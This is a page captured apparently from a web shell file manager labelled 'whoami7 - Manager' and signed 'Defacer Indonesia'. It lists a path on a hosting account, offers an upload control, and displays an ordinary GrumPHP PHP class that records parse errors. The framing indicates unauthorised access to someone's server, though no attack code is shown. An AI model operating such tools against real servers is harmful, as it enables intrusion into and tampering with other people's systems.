whoami7 - Manager
:
/
home
/
kckglobal
/
www
/
portal
/
vendor
/
phpro
/
grumphp
/
src
/
Parser
/
Php
/
Visitor
/
Upload File:
files >> /home/kckglobal/www/portal/vendor/phpro/grumphp/src/Parser/Php/Visitor/AbstractVisitor.php
<?php declare(strict_types=1); namespace GrumPHP\Parser\Php\Visitor; use GrumPHP\Parser\ParseError; use GrumPHP\Parser\Php\Context\ParserContext; use GrumPHP\Parser\Php\PhpParserError; use PhpParser\NodeVisitorAbstract; /** * @psalm-suppress MissingConstructor */ class AbstractVisitor extends NodeVisitorAbstract implements ContextAwareVisitorInterface { /** * @var ParserContext */ protected $context; public function setContext(ParserContext $context): void { $this->context = $context; } protected function addError(string $message, int $line = -1, string $type = ParseError::TYPE_ERROR): void { $errors = $this->context->getErrors(); $fileName = $this->context->getFile()->getPathname(); $errors->add(new PhpParserError($type, $message, $fileName, $line)); } }
Copyright ©2021 || Defacer Indonesia